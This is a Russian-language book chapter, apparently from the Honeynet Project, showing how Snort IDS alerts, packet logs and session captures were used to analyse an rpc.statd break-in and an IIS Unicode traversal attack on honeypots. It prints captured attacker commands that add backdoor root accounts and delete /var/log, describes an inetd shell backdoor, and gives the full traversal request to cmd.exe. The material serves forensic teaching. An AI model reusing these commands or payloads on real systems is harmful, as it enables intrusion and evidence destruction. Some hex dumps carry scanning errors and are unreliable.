Как уже говорилось в главе 4, IDS обеспечивает три источника информации. Первый источник - сами предупреждения IDS, когда обнаруживается какая-то подозрительная деятельность. Второй источник информации - записи пакетов. Эти подробные сведения хранятся в двоичном файле и после совершения нападения используются для детального анализа. Третий источник информации - журналы сеансов ASCII, где Snort IDS хранит все данные ASCII, обнаруженные в потоке пакетов, например комбинации клавиш. Давайте продолжим анализ сканирования RPC, которое обнаружил наш брандмауэр, и посмотрим, какую информацию может предоставить система IDS.
IDS для Honeynet настроена таким образом, чтобы создавать предупреждение всякий раз, когда она обнаруживает подозрительные действия. Эти предупреждения через syslogd хранятся в файле регистрации, который затем просматривает Swatch, инструмент анализа журналов регистрации, portmap-request-status: Shellcode X86 NOPS-UDP: Shellcode X86 NOPS-UDP:
отлично подходящий для автоматизации. Затем Swatch переправляет сообщения по электронной почте администратору. Эти созданные IDS предупреждения являются дополнительным уровнем, так как брандмауэр уже настроен на то, чтобы предупреждать нас о любых действиях в сети. Однако у IDS есть дополнительное преимущество определения конкретного действия при помощи функций сравнения сигнатур, например: она может обнаружить нападение путем переполнения буфера или атаку на Web-сервер IIS. Эта возможность в режиме реального времени оповещает команду о том, что попытаются предпринять «плохие парни». После того как нападение будет обнаружено, мы будем знать, на что обращать особое внимание. В приведенном ниже примере рассматривается взлом операционной системы Linux. Система IDS обнаруживает запрос списка портов RPC, в то время как нападающий пытается выяснить, какие RPC-сервисы может запустить наша машина. После первоначального запроса списка портов IDS обнаруживает нападение с целью переполнения буфера. Эти предупреждения Snort не только извещают нас о том, что происходит нападение, но также предоставляют информацию, необходимую для более подробного анализа бинарных регистрационных файлов IDS. Подобные предупреждения выглядят примерно так:
Это предупреждение Snort указывает на то, что система 10.1.1.1 попыталась послать RPC-запрос нашей системе honeypot 172.16.1.104. Взломщик из удаленной системы, скорее всего, является привилегированным пользователем, так как номер исходного порта меньше 1023 - в данном случае порт 709. Сразу после этого запроса последовали два нападения со взломом, наверняка это был один и тот же взлом, так как действия были направлены на одни и тот же порт honeypot - 931. То есть порт 931 был динамически привязан к rpc.statd, RPC-сервису с существенными недостатками в плане обеспечения безопасности. В это время нам еще не известно, насколько успешно прошло нападение. Затем эти предупреждения Snort, хранящиеся в регистрационном файле /var/log/messages, переправляются по электронной почте администратору в режиме реального времени.
Date: Sat, 09 Dec 2000 07:17:10 -0600
From: ids@honeynet.org
To: admin@honeynet.org
Subject: - - - Snort IDS Alert - - -
Dec 9 07:17:10 ids snort[6511]: IDS362 - MISC - Shellcode X86 NOPS-UDP: 10.1.1.1:710 - > 172.16.1.104:931
Обратите внимание на то, что у сигнатуры также есть номер-определитель, IDS362, который можно использовать, чтобы получить подробную информацию об этом нападении. Один из участников нашего проекта, Макс Вижн, создал базу данных, где подробно описывается более 400 сигнатур, которые может определить Snort. Такой анализ сигнатур дает подробное представление о том, на что похожа атака, что она означает, как обнаруживается сигнатура, и огромное количество другой важной информации. Команда Honeynet регулярно пользуется этой открытой для общего пользования базой данных IDS-сигнатур. Сведения об этом размещены по адресу: http://www.snort.org. Там мы нашли следующий отчет об этом виде зондирования, IDS363.
Была обнаружена последовательность знаков 0x90. В зависимости от контекста это обычно указывает на команду NOP (команда в процессорах фирмы Intel, обозначающая отсутствие каких-либо действий), выраженную в машинном коде процессоров семейства х8б. При многих нападениях путем переполнения буфера высылается серия байтов NOP (no-operation), чтобы увеличить шансы успешного взлома. Эта атака обычно называется «NOP sled».
Сразу же после нападения мы получаем очередное предупреждение брандмауэра, указывающее на то, что взломщик из удаленной системы blackhat. example.com установил соединение с нашей honeypot через порт 39168.
Date: Sun, 09 Dec 2000 07:17:22 -0600 (CST)
From: firewall@honeynet.org
To: admin@honeynet.org
Subject: - - - Firewall Scan Alert - - -
Вы получили это сообщение, потому что кто-то, возможно, сканирует вашу систему. Ниже приводится пакет, зарегистрированный брандмауэром. Это четвертое из пяти электронных предупреждений от blackhat.example.com.
CRITICAL INFORMATION
Date: 09Dec2000
Time: 07:17:22
Source: blackhat.example.com
Destination: honeypot-4
Service: 39168
ACTUAL FW-1 LOG ENTRY
09Dec2000 07:17:22 accept firewall >qfe1 usealert proto tcp src blackhat. example.com dst honeypot-4 service 39168 s_port 2646 len 48 rule 9 blackhat. example.com xlatedst honeypot-4 xlatesport 2646 xlatedport 39168
Это предупреждение извещает нас о том, что взломщик из удаленной системы только что попытался установить соединение с нашей honeypot через порт с номером 1023, сразу же после совершения нападения. У порта 39168 нет ни одного привязанного к нему сервиса, так что все это очень подозрительно. Кроме того, наша система IDS Snort не предупредила об этом соединении. Скорее всего, получилось так, что нападение путем переполнения буфера RPC создало временную командную оболочку, и теперь взломщик подсоединился к ней. Мы можем предположить, что, установив для соединения с приемником черный ход, нападающий получит доступ к honeypot через командную строку. Это простое соединение - вероятнее всего, TELNET или соединение netcat - IDS не заметила, так как оно не соответствует ни одной заданной сигнатуре; это простое TCP соединение одного порта машины нападающего с одним портом honeypot. Однако брандмауэр предупредил нас об этих действиях, так как любой входящий и исходящий из Honeynet трафик подозрителен. Это доказывает ценность системных журналов брандмауэра. Система предупреждения IDS не смогла обнаружить соединение; однако брандмауэр его зарегистрировал, так как само соединение уже подозрительно, несмотря на то что не соответствует ни одной из сигнатур IDS. Это указывает на важность многоуровневой записи информации. Давайте посмотрим, подтвердится ли наша гипотеза.
Snort также записала эти соединения в бинарный регистрационный файл, в том числе и полезную нагрузку пакетов. Теперь мы можем извлечь подробную информацию о нападении, просмотрев бинарные файлы регистрации. Эти подробности помогут нам, например, раскрыть вид нового нападения, которое не соответствует сигнатурам IDS, получить определенную информацию об IP или заголовках протоколов UDP/TCP, записи «дактилоскопии» (см. главу 7) или разнообразные другие данные. На основании нашего опыта можно сказать, что записанные в бинарный регистрационный файл входящие и исходящие из Honeynet пакеты оказались самым ценным источником информации. В случае с нашим RPC-нападением можно взглянуть на то, как происходил взлом системы. Просмотрев все пакеты, составляющие соединение, мы также сможем установить, было ли соединение с портом 39168 нелегальным.
Во-первых, мы запрашиваем в регистрационном бинарном файле Snort данные обо всех действиях, связанных с портом 39168, который, по нашему мнению, был использован для установления нелегального соединения. Основная цель взлома, скорее всего, состояла в том, чтобы создать оболочку, выполняющую команды этого порта. Итак, мы запрашиваем двоичный регистрационный файл о конкретном порте следующим образом:
ids $snort -vdr snort-1209@0005.log port 39168
Затем Snort распечатывает всю информацию о пакетах1, касающуюся порта 39168. Ниже приведена информация заголовка первого пакета. На основе этих данных мы начинаем многое понимать.
12/09-07:17:22.847098 10.1.1.1:2646 -> 172.16.1.104:39168 TCP TTL:49 TOSrOxO ID:50108 IpLen:20 Dgml_en:1500 DF ***AP,** Seq: 0x6B9CD06A Ack: 0x4D5819B6 Win: 0x7D78 TcpLen:32 TCP Options => NOP NOP TS: 98106837 107932029
1. Пакет был зарегистрирован 9 декабря в 07:17:22.
2. Пакет был послан из системы 10.1.1.1 с порта 2646 на нашу honeypot,
порт 39168.
3. Это пакет TCP; Time to Live (время жизни) - 49 пересылок; Type of
Service (тип сервиса), 0; Packet ID 50108; длина IP-заголовка 20 байт;
общий объем пакета 1500 байт; установлен бит Don't Fragment (не
фрагментировать).
4. Установлены биты кодов Push и Ack: Sequemce number 0x6B9CD06A;
Acknowledge number 0x4D5819B6: размер окна 0x7D78; объем TCP за
головка 32 байта.
Ниже приводится информация заголовка пакета. Система Snort также позволяет посмотреть переданную полезную нагрузку пакета в двух разных форматах. Первый формат представлен в шестнадцатеричной форме - это столбец двухзначных чисел слева. Второй формат - это перевод шестнадцатеричной системы в ASCII (правый столбец).
65 63 68 6F 20 75 73 65 72 ЗА 78 ЗА 35 30 30 30
ЗА 35 30 30 30 ЗА 2F 75 73 65 72 ЗА 2F 74 6D 70
ЗА 2F 62 69 6Е 2F 62 61 73 68 20 ЗЕ ЗЕ 20 2F 65
74 63 2F 70 61 73 73 77 64 ЗВ 20 65 63 68 6F 20
75 73 65 72 ЗА 59 69 32 79 43 47 48 6F 30 77 4F
77 67 ЗА 31 30 38 38 34 ЗА 30 ЗА 39 39 39 39 39
ЗА 37 ЗА 20 31 ЗА 2D 31 ЗА 31 33 34 35 33 38 34
31 32 20 ЗЕ ЗЕ 20 2F 65 74 63 2F 73 68 61 64 6F
77 ЗВ 20 6S 63 68 6F 20 73 6S 6Е 64 6D 61 69 6С
ЗА ЗА 31 30 38 36 35 ЗА 30 ЗА 39 39 39 39 39 ЗА
37 ЗА 2D 31 ЗА 2D 31 ЗА 31 33 34 35 33 38 34 36
30 20 ЗЕ ЗЕ 20 2F 65 74 63 2F 73 68 61 64 6F 77
ЗВ 20 65 63 68 6F 20 73 65 6Е 64 6D 61 69 6С ЗА
78 ЗА 30 ЗА 30 ЗА ЗА 2F 72 6F 6F 74 ЗА 2F 62 69
6Е 2F 62 61 73 68 20 ЗЕ ЗЕ 20 2F 65 74 63 2F 70
61 73 73 77 64 ЗВ 20 70 77 63 6F 6Е 76 ЗВ 20 72
6D 20 2D 72 66 20 2F 76 61 72 2F 6С 6F 67 ЗВ 65
Преобразованный код ASCII показывает команды, которые будут выполнены на нашей honeypot. Предположение оказалось верным: соединение с портом 39168 - это соединение с временным запасным ходом, через который загружаются команды, использованные взломщиком для изменения конфигурации нашей системы. Запасной ход в данном случае - это оболочка, выполняющая команды, присылаемые через этот порт с правами root (у пользователя тот же UID, что и у сервиса rpc.statd).
Третий уровень информации, который может предоставить Snort, - комбинации клавиш. Snort делает это путем сбора всей информации ASCII и сохранения текста ASCII в однородном текстовом файле. Эти сведения могут иметь жизненное значение, так как они шаг за шагом описывают действия взломщика. Однако это эффективно, только когда информация передается открытым текстом. Snort может записывать зашифрованный трафик, однако он не представляет никакой ценности, так как данные невозможно разобрать без соответствующих секретных ключей для расшифровки. В случае с атакой, использовавшей rpc.statd, мы записали действия, выполненные в оболочке, привязанной к порту 39168, поскольку они были переданы открытым текстом. Мы можем видеть, как при помощи временного запасного хода, подчиняющегося порту 39168, взломщик создает постоянный запасной ход. Это те же самые данные, которые мы видели в пакете, но Snort взяла все данные ASCII и конвертировала их в гораздо более удобный для чтения формат.
Приведенный ниже код - это регистрационный файл, SESSION:39618-1646, созданный в Snort. Поле SESSION указывает на то, что это файл врезки сеанса связи. Номер 39618-1646 - исходный порт и порт назначения, между которыми устанавливалось соединение.
В данном случае взломщик создает две учетных записи, user и sendmail, добавляя соответствующие записи в файлы /etc/passwd и /etc/shadow на машине-«жертве». Затем он создает постоянный запасной выход, привязанный к порту 16000, изменяя конфигурацию inetd так, чтобы всякий раз при соединении через порт 16000 запускалась командная оболочка. После редактирования inetd. conf атакующий посылает программе inetd сигнал HUP, чтобы она перечитала файл конфигурации.
Такой анализ выполняется и для систем на основе Windows NT. Например, далее приводится образец кода из нападения на NT. В этом нападении мы рассматриваем данные, аналогичные нападению на Linux rpc.statd; в нашем случае, однако, honeypot - это Web-сервер IIS (Internet Infotmation Server), работающий под управлением NT и подвергшийся unicode-на-падению, еще одному весьма распространенному виду взлома. Сначала Snort предупреждает нас о подозрительных действиях: unicode-нападе-нии в сочетании с прослеживанием информации о структуре директории. Эти предупреждения были созданы в Snort, переправлены для архивации на сервер syslogd и по электронной почте администратору в режиме реального времени, точно так же, как и в случае с нападением на rpc.statd. Ниже приводятся два предупреждения, сгенерированные во время атаки. Как и в случае с операционной системой Linux, это один из первых показателей того, что совершается нападение.
snort[18259]: spp_http_decode: IIS Unicode attack detected: 10.1.1.1:2310 ->
172.16.1.104:80
Jan 18 19:03:50 ids snort[18259]: IDS297 - WEB MISC - http-directory-traversal
1: 10.1.1.1:2310 -> 172.16.1.104:80
Обратите внимание, что во втором предупреждении мы опять встречаемся с номером IDS, определяющим этот вид предупреждения, в данном случае IDS297.
База данных Макса Вижна по адресу http:/'/www.snort.org дает нам следующую информацию. Оказывается, что это нападение является попыткой разбить древовидную структуру Web-каталогов.
Многие Web-серверы и CGI-сценарии уязвимы перед нападениями через прослеживание каталогов. Во ряде случаев Web-приложение может позволять доступ к определенной части файловой системы. При отсутствии соответствующей проверки вводимых пользователем данных сервер зачастую может добавить в путь директории «..», что разрешает доступ к вышестоящим каталогам. В результате можно подняться до корневого каталога и получить доступ ко всей файловой системе.
На основании предупреждений системы Snort становится понятно, что нужно искать в бинарных регистрационных файлах Snort. Помните, она захватила и записала все пакеты этого нападения. Для того чтобы провести анализ данных, мы можем подробно рассмотреть каждый пакет. Предыдущее предупреждение указывает на то, что нападение произведено из системы 10.1.1.1, исходный порт 2310. Если поискать именно этот пакет в бинарном регистрационном файле, можно получить следующую информацию. Перед нами атака с использованием Unicode, осуществленная путем создания специального HTTP-запроса.
ids# snort -vdr snort-0118@0007. log host 10.1.1.1 and port 2310
TcpLen: 20 GET /scripts/..!!; cOXaf../winnt/sy stem32/cmd.exe?/ c+dir+c:\Inetpub HTTP/1.1..Accep t: image/gif, im age/x-xbitmap, i mage/jpeg, image /pjpeg, */*..Acc ept-Language: en -us..Accept-Enco ding: gzip, defl ate..User-Agent: Mozilla/4.0 (со mpatible; MSIE 5 .0; Windows 98; DigExt)..Host: 1 ab.wiretrip.net. .Connection: Kee p-Alive..Cookie: ASPSESSIONIDQGQ QQGPK=GAOFMGACCO LIACKBDIHDIBEL. .
01/18-19:03:50.415279 10.1.1.1:2310 -> 172.16.1.104:!
TCP TTL: 114 T0S:0x0 ID:35663 IpLen:20 Dgml_en:410 DF
*,*AP,** Seq: 0xlC61B72 Ack: 0x4D629011 Win: 0x2238
47 4S 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 2S
63 30 2S 61 66 2E 2E 2F 77 69 6E 6E 74 2F 73 79
73 74 6S 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F
63 2B 64 69 72 2B 63 ЗА 5C 49 6E 65 74 70 75 62
20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70
74 ЗА 20 69 60 61 67 65 2F 67 69 66 2C 20 69 6D
61 67 65 2F 78 20 78 62 69 74 6D 61 70 2C 20 69
6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D 61 67 65
2F 70 6A 70 65 67 2C 20 2A 2F 2A 0D 0A 41 63 63
65 70 74 2D 4C 61 6E 67 75 61 67 65 ЗА 20 65 6E
2D 75 73 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F
6C ЗА
20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 3B 20 57 69 6E 64 6F 77 73 20 39 38 3B 20 44 69 67 45 78 74 29 0D 0A 48 6F 73 74 ЗА 20 6C 61 62 2E 77 69 72 65 74 72 69 70 2E 6E 65 74 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E ЗА 20 4B 65 65 70 20 41 6C 69 76 65 00 0A 43 6F 6F 6B 69 65 ЗА 20 41 53 50 53 45 53 53 49 4F 4E 49 44 51 47 51 S1 47 47 50 4B 3D 47 41 4F 46 4D 47 41 43 43 4F
4C 49 41 43 4B 42 44 49 0D 0A
44 49 42 45 4C 00 0A
64 69 6E 67 ЗА 20 67 7A 69 70 2C 20 64 65 66
61 74 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74
Взломщик воспользовался уязвимым местом Web-сервера IIS и заставил honeypot выполнить команду: листинг директории \Inetpub. При unicode-нападении используется ошибка сервера IIS в функции проверки определенной кодировки символов. Web-сервер ошибочно установил некоторые значения и разрешил удаленному пользователю перейти в структуру каталогов Web-сервера и выполнять команды. Выдержка с Web-сайта участника Honeynet-проекта Rain Forest Puppy, http://vyww.wiretrip.net
Создается впечатление, что атаки, использующие значения %cO%af и %с1%9с, можно осуществлять только на IIS 5. Любопытство - это мое лучшее качество, и я попробовал этот прием на IIS 4. Вот это да - там тоже работает.
Действительно ли это основано на UNICODE? Да, %cO%af и %с1%9с - это удлиненное представление знаков «/» и «\» в UNICODE. Также могут существовать и еще более длинные (3 и более байт) представления. Кажется, IIS декодирует UNICODE в неверном месте (после проверки пути, а не до). До последнего времени я этого не знал (до того, как провел некоторые исследования по UTF-8 - кодировка Unicode).
Мы можем видеть результат этого запроса при помощи функции Snort сохранить часть сеанса связи. Далее приводится информация, которую передала взломщику honeypot:
ids $cat SESSI0N:2310-80
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 01:02:35 GMT
Connection: close
Content-Type: application/octet-stream
Volume in drive С has no label.
Volume Serial Number is 8403-6A0E
Directory of c:\Inetpub
Врезки сеансов связи полезны для захвата не только комбинаций клавиш, но и других соединений, например Internet Relay Chat. Snort также может перехватить сообщения, переданные открытым текстом, например IRC, поэтому мы можем увидеть, как общаются между собой взломщики в режиме реального времени. Эта информация может оказаться необычайно интересной. Самые ценные данные мы получили из разговоров взломщиков между собой. Таким образом, мы узнали, что одна из наших honeypot была взломана группой румынских хакеров. Затем они использовали honeypot как центральный пункт для обмена информацией, и мы записали все чаты, в которых они общались. Один из лидеров записал себя на видеокамеру и затем переслал изображение на Web-сайт в режиме реального времени. На кадрах был не только он, но и экран компьютера. Он хотел, чтобы товарищи увидели его в режиме реального времени, однако не предполагал, что создатели проекта Honeynet смогут заглянуть через его (виртуальное) плечо и записать URL. Это был один из первых случаев, когда мы владели визуальной информацией об одном из взломщиков. В главе 11 очень подробно рассказывается о том, какую ценность могут представлять перехваченные разговоры IRC.
Макс Вижн разработал инструментарий, который быстро и эффективно выделяет из IRC важную для анализа информацию. Этот инструмент, privmsg.pl, берет необработанный двоичный системный журнал, выделяет сеансы IRC, а затем преобразует данные так, чтобы отображались только разговоры. Результат может быть представлен в текстовом формате ASCII или в HTML с цветовым выделением. Этот инструмент оказал проекту Honeynet неоценимую услугу, так как позволил быстро получать важные сведения от взломщиков, пользующихся IRC. Вот опции утилиты, написанной на языке PERL:
ids $privmsg.pl
// PRIVMSG colorized ire sniffer, Max Vision http://whitehats.com/
Usage: privmsg.pl [-s I -r tepdumpfile] {-o I -c} {-a} {-1 packetlimit}
-s = starting sniffing now
-p . = optional tcp port to consider (default 6667)
-r = parse an existing tcpdump/Snort file
-1 = how many «packets* to parse; omit to do all
-a = strip address portion from ire nicks
-o = HTML output (you might want to redirect this)
-c = colorized output
ire $privmsg.pl -r snort-0217@0005. log -a -o > irc.html
В файле irc.html будут содержаться разговоры IRC, выделенные из бинарного регистрационного файла Snort.
Мы только что проанализировали два нападения на основании данных, которые собрала выбранная нами система IDS Snort, и обнаружили, что Snort представляет собой один из самых мощных инструментов сбора данных. Три основные области его использования - предупреждение, анализ пакетов и захват открытого текста. В совокупности эти данные могут содержать подробную информацию о действиях взломщиков.
